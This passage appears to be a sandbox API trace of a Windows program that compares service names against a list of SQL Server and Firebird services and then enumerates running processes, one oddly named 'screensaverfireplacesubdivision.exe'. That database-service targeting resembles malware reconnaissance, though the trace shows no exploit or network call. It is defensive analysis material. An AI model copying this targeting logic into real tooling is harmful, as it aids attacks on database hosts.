lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0042.187] lstrlenW (lpString="nsi") returned 3 [0042.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0042.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0042.187] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0042.187] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0042.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0042.187] lstrlenW (lpString="PcaSvc") returned 6 [0042.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0042.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0042.187] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0042.187] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0042.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0042.188] lstrlenW (lpString="PlugPlay") returned 8 [0042.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0042.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0042.188] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0042.188] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0042.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0042.188] lstrlenW (lpString="Power") returned 5 [0042.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0042.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0042.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0042.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0042.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0042.188] lstrlenW (lpString="ProfSvc") returned 7 [0042.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0042.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0042.188] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0042.188] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0042.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0042.188] lstrlenW (lpString="RpcEptMapper") returned 12 [0042.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.188] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0042.188] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0042.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0042.188] lstrlenW (lpString="RpcSs") returned 5 [0042.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0042.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0042.188] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0042.188] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0042.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0042.188] lstrlenW (lpString="SamSs") returned 5 [0042.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0042.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0042.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0042.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0042.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0042.189] lstrlenW (lpString="Schedule") returned 8 [0042.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0042.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0042.189] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0042.189] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0042.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0042.189] lstrlenW (lpString="SecurityHealthService") returned 21 [0042.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0042.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0042.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0042.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0042.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0042.189] lstrlenW (lpString="SENS") returned 4 [0042.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0042.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0042.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0042.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0042.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0042.189] lstrlenW (lpString="ShellHWDetection") returned 16 [0042.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.189] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0042.189] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0042.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0042.189] lstrlenW (lpString="Spooler") returned 7 [0042.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0042.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0042.189] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0042.189] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0042.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0042.189] lstrlenW (lpString="StateRepository") returned 15 [0042.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0042.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0042.190] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0042.190] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0042.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0042.190] lstrlenW (lpString="SysMain") returned 7 [0042.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0042.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0042.190] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0042.190] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0042.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0042.190] lstrlenW (lpString="SystemEventsBroker") returned 18 [0042.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0042.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0042.190] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0042.190] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0042.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0042.190] lstrlenW (lpString="Themes") returned 6 [0042.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0042.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0042.190] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0042.190] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0042.190] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x782520 | out: hHeap=0x690000) returned 1 [0042.190] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0042.196] Process32FirstW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0042.197] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0042.197] lstrlenW (lpString="System") returned 6 [0042.197] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0042.198] lstrlenW (lpString="smss.exe") returned 8 [0042.198] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.471] lstrlenW (lpString="csrss.exe") returned 9 [0042.471] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0042.472] lstrlenW (lpString="wininit.exe") returned 11 [0042.472] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.473] lstrlenW (lpString="csrss.exe") returned 9 [0042.473] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0042.473] lstrlenW (lpString="winlogon.exe") returned 12 [0042.473] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0042.474] lstrlenW (lpString="services.exe") returned 12 [0042.474] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0042.475] lstrlenW (lpString="lsass.exe") returned 9 [0042.475] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.475] lstrlenW (lpString="svchost.exe") returned 11 [0042.476] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0042.476] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0042.476] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0042.477] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0042.477] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.478] lstrlenW (lpString="svchost.exe") returned 11 [0042.478] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0042.478] lstrlenW (lpString="dwm.exe") returned 7 [0042.478] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.479] lstrlenW (lpString="svchost.exe") returned 11 [0042.479] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.480] lstrlenW (lpString="svchost.exe") returned 11 [0042.480] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.480] lstrlenW (lpString="svchost.exe") returned 11 [0042.480] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.481] lstrlenW (lpString="svchost.exe") returned 11 [0042.481] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.482] lstrlenW (lpString="svchost.exe") returned 11 [0042.482] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.483] lstrlenW (lpString="svchost.exe") returned 11 [0042.483] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.483] lstrlenW (lpString="svchost.exe") returned 11 [0042.483] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.484] lstrlenW (lpString="svchost.exe") returned 11 [0042.484] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.485] lstrlenW (lpString="svchost.exe") returned 11 [0042.485] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0042.485] lstrlenW (lpString="spoolsv.exe") returned 11 [0042.485] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.486] lstrlenW (lpString="svchost.exe") returned 11 [0042.486] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.487] lstrlenW (lpString="svchost.exe") returned 11 [0042.487] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0042.488] lstrlenW (lpString="audiodg.exe") returned 11 [0042.488] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0042.488] lstrlenW (lpString="sihost.exe") returned 10 [0042.488] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.489] lstrlenW (lpString="svchost.exe") returned 11 [0042.489] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0042.489] lstrlenW (lpString="taskhostw.exe") returned 13 [0042.490] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0042.490] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0042.490] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0042.491] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0042.491] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0042.491] lstrlenW (lpString="explorer.exe") returned 12 [0042.491] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0042.492] lstrlenW (lpString="Memory Compression") returned 18 [0042.492] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0042.493] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0042.493] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0042.494] lstrlenW (lpString="SearchUI.exe") returned 12 [0042.494] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0042.494] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0042.494] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0042.495] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0042.495] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0042.495] lstrlenW (lpString="taskhostw.exe") returned 13 [0042.496] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0042.496] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0042.496] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0042.497] lstrlenW (lpString="msoia.exe") returned 9 [0042.497] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0042.497] lstrlenW (lpString="UsoClient.exe") returned 13 [0042.498] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0042.498] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0042.498] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0042.499] lstrlenW (lpString="msoia.exe") returned 9 [0042.499] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0042.500] lstrlenW (lpString="taskhostw.exe") returned 13 [0042.500] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0042.501] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0042.501] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0042.501] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0042.501] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0042.502] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0042.502] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0042.503] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0042.503] Process32NextW (in: hSnapshot=0x364, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, 